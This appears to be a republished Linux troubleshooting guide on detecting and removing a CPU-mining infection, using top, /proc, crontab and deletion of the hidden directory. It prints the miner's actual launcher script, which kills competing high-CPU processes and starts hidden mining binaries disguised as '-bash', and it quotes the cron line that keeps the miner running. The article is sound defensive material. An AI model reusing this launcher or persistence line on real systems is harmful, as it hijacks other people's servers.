How to Detect and Remove a Hidden CPU‑Mining Virus on Your Linux Server

This guide walks you through identifying a CPU‑mining malware infection on a Linux server, from spotting abnormal CPU usage with top, tracing the malicious executable, disabling its cron job, and safely cleaning the infected files and processes.

MaGe Linux Operations
MaGe Linux Operations
MaGe Linux Operations
How to Detect and Remove a Hidden CPU‑Mining Virus on Your Linux Server

Background

While working on a project the server became unusually sluggish, and the CPU was constantly at 100% despite no heavy workloads. Investigation revealed the server was infected by a cryptocurrency mining virus.

Problem Investigation

Run top to find processes with high CPU usage and note their pid.

Determine which file started the process with ls -l /proc/<pid>/exe.

Navigate to the directory shown (e.g., /var/tmp/.cache) and list its contents.

Inspect the run script in that directory. The script kills processes using more than 40% CPU (excluding certain binaries) and then launches hidden mining binaries ( h32 or h64) based on the system architecture.

# Example of the malicious script
ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e bash.pid && grep -vwf bash.pid) \
    | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null
proc=$(nproc)
ARCH=$(uname -m)
HIDE="-bash"
if [ "$ARCH" == "i686" ]; then
    ./h32 -s $HIDE ./java >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
    ./h64 -s $HIDE ./java >>/dev/null &
fi
pid=$!
new_pid=$((pid + 1))
echo $new_pid > bash.pid
The attacker first kills high‑CPU processes to make room for his mining program, not to help the system.

Problem Handling

After identifying the malicious process (e.g., PID 1234), kill it with: kill -9 1234 If the CPU spikes again, a scheduled cron job is likely restarting the miner. Edit the crontab with crontab -e and remove the line: * * * * * /var/tmp/.cache/upd >/dev/null 2>&1 Finally, delete the infected directory:

rm -rf /var/tmp/.cache

Summary

To remediate a CPU‑mining virus on a Linux server: use top to locate the offending process, trace its executable, examine and stop the malicious script, remove any cron jobs that relaunch it, and delete the hidden cache directory.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

LinuxCPUcronServerMalware Removal
MaGe Linux Operations
Written by

MaGe Linux Operations

Founded in 2009, MaGe Education is a top Chinese high‑end IT training brand. Its graduates earn 12K+ RMB salaries, and the school has trained tens of thousands of students. It offers high‑pay courses in Linux cloud operations, Python full‑stack, automation, data analysis, AI, and Go high‑concurrency architecture. Thanks to quality courses and a solid reputation, it has talent partnerships with numerous internet firms.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.